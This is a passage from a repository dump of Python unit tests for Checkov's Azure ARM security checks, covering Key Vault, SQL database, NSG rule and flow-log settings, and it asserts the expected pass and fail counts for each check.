self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_KeyVaultDisablesPublicNetworkAccess.py",
    "content": "import unittest\nfrom pathlib import Path\nfrom checkov.arm.checks.resource.KeyVaultDisablesPublicNetworkAccess import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKeyVaultDisablesPublicNetworkAccess(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KeyVaultDisablesPublicNetworkAccess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n        print(f'\\n{summary}')\n\n        passing_resources = {\n            \"Microsoft.KeyVault/vaults.pass1\",\n            \"Microsoft.KeyVault/vaults.pass2\",\n            \"Microsoft.KeyVault/vaults.pass3\",\n            \"Microsoft.KeyVault/vaults.pass4\",\n        }\n        failing_resources = {\n            \"Microsoft.KeyVault/vaults.fail1\",\n            \"Microsoft.KeyVault/vaults.fail2\",\n            \"Microsoft.KeyVault/vaults.fail3\",\n            \"Microsoft.KeyVault/vaults.fail4\",\n            \"Microsoft.KeyVault/vaults.fail5\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n    "
  },
  {
    "path": "tests/arm/checks/resource/test_KeyVaultEnablesFirewallRulesSettings.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.KeyVaultEnablesFirewallRulesSettings import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKeyVaultEnablesFirewallRulesSettings(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KeyVaultEnablesFirewallRulesSettings\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.KeyVault/vaults.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.KeyVault/vaults.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_KeyVaultEnablesPurgeProtection.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.KeyVaultEnablesPurgeProtection import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass KeyVaultEnablesPurgeProtection(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KeyVaultEnablesPurgeProtection\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.KeyVault/vaults.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.KeyVault/vaults.fail1\",\n            \"Microsoft.KeyVault/vaults.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_KeyVaultEnablesSoftDelete.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.KeyVaultEnablesSoftDelete import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKeyVaultEnablesSoftDelete(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KeyVaultEnablesSoftDelete\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.KeyVault/vaults.pass\",\n            \"Microsoft.KeyVault/vaults.pass2\",\n        }\n        failing_resources = {\n            \"Microsoft.KeyVault/vaults.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_KeyvaultRecoveryEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.KeyvaultRecoveryEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKeyvaultRecoveryEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KeyvaultRecoveryEnabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_LinuxVMUsesSSH.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.LinuxVMUsesSSH import check\n\n\nclass TestLinuxVMUsesSSH(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_LinuxVMUsesSSH\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.Compute/virtualMachineScaleSets.pass',\n            'Microsoft.Compute/virtualMachines.pass'\n        }\n        failing_resources = {\n            'Microsoft.Compute/virtualMachineScaleSets.fail',\n            'Microsoft.Compute/virtualMachines.fail'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_MSSQLServerMinTLSVersion.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.MSSQLServerMinTLSVersion import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMSSQLServerMinTLSVersion(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MSSQLServerMinTLSVersion\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Sql/servers.pass\",\n            \"Microsoft.Sql/servers.pass2\"\n        }\n\n        failing_resources = {\n            \"Microsoft.Sql/servers.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_MariaDBGeoBackupEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\nfrom checkov.arm.checks.resource.MariaDBGeoBackupEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMariaDBGeoBackupEnabled(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_MariaDBGeoBackupEnabled\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        passing_resources = {\n            \"Microsoft.DBforMariaDB/servers.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.DBforMariaDB/servers.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(passed_check_resources,passing_resources)\n        self.assertEqual(failed_check_resources,failing_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_MariaDBPublicAccessDisabled.py",
    "content": "import unittest\nfrom pathlib import Path\nfrom checkov.arm.checks.resource.MariaDBPublicAccessDisabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMariaDBPublicConvertARM(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_MariaDBPublicAccessDisabled\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        passing_resources = {\n            \"Microsoft.DBforMariaDB/servers.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.DBforMariaDB/servers.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passed_check_resources,passing_resources)\n        self.assertEqual(failed_check_resources,failing_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_MariaDBSSLEnforcementEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.MariaDBSSLEnforcementEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMariaDBSSLEnforcementEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MariaDBSSLEnforcementEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DBforMariaDB/servers.enabled\",\n        }\n        failing_resources = {\n            \"Microsoft.DBforMariaDB/servers.default\",\n            \"Microsoft.DBforMariaDB/servers.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_MonitorLogProfileCategories.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.MonitorLogProfileCategories import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMonitorLogProfileCategories(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MonitorLogProfileCategories\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Insights/logprofiles.pass\",\n        }\n\n        failing_resources = {\n            \"Microsoft.Insights/logprofiles.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_MonitorLogRetentionDays.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.MonitorLogProfileRetentionDays import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMonitorLogProfileRetentionDays(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MonitorLogProfileRetentionDays\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Insights/logprofiles.enabled\",\n        }\n\n        failing_resources = {\n            \"Microsoft.Insights/logprofiles.disabled\",\n            \"Microsoft.Insights/logprofiles.low\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_MySQLEncryptionEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.MySQLEncryptionEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMySQLEncryptionEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MySQLEncryptionEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DBforMySQL/flexibleServers.pass\",\n        }\n\n        failing_resources = {\n            \"Microsoft.DBforMySQL/flexibleServers.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_MySQLGeoBackupEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.MySQLGeoBackupEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMySQLGeoBackupEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MySQLGeoBackupEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DBforMySQL/flexibleServers.pass\",\n        }\n\n        failing_resources = {\n            \"Microsoft.DBforMySQL/flexibleServers.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_MySQLPublicAccessDisabled.py",
    "content": "import os\n\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.MySQLPublicAccessDisabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMySQLPublicAccessDisabled(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_TestMySQLPublicAccessDisabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DBforMySQL/servers.pass\",\n            \"Microsoft.DBforMySQL/flexibleServers.pass2\",\n        }\n        failing_resources = {\n            \"Microsoft.DBforMySQL/servers.fail\",\n            \"Microsoft.DBforMySQL/flexibleServers.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n  \nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/arm/checks/resource/test_MySQLServerMinTLSVersion.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.MySQLServerMinTLSVersion import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMySQLServerMinTLSVersion(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MySQLServerMinTLSVersion\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DBforMySQL/servers.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.DBforMySQL/servers.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n\n\n"
  },
  {
    "path": "tests/arm/checks/resource/test_MySQLServerSSLEnforcementEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.MySQLServerSSLEnforcementEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMySQLServerSSLEnforcementEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_MySQLServerSSLEnforcementEnabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_NSGRuleHTTPAccessRestricted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.NSGRuleHTTPAccessRestricted import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestNSGRuleHTTPAccessRestricted(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_NSGRuleHTTPAccessRestricted\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_NSGRuleRDPAccessRestricted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.NSGRuleRDPAccessRestricted import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestNSGRuleRDPAccessRestricted(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_NSGRuleRDPAccessRestricted\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_NSGRuleSSHAccessRestricted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.NSGRuleSSHAccessRestricted import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestNSGRuleSSHAccessRestricted(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_NSGRuleSSHAccessRestricted\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_NetworkWatcherFlowLogPeriod.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.NetworkWatcherFlowLogPeriod import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestNetworkWatcherFlowLogPeriod(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_NetworkWatcherFlowLogPeriod\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_PostgreSQLEncryptionEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.PostgreSQLEncryptionEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestPostgreSQLEncryptionEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_PostgreSQLEncryptionEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DBforPostgreSQL/servers.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.DBforPostgreSQL/servers.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_PostgreSQLServerConnectionThrottlingEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.PostgreSQLServerConnectionThrottlingEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestPostgreSQLServerConnectionThrottlingEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PostgreSQLServerConnectionThrottlingEnabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_PostgreSQLServerLogCheckpointsEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.PostgreSQLServerLogCheckpointsEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestPostgreSQLServerLogCheckpointsEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PostgreSQLServerLogCheckpointsEnabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_PostgreSQLServerLogConnectionsEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.PostgreSQLServerLogConnectionsEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestPostgreSQLServerLogConnectionsEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PostgreSQLServerLogConnectionsEnabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
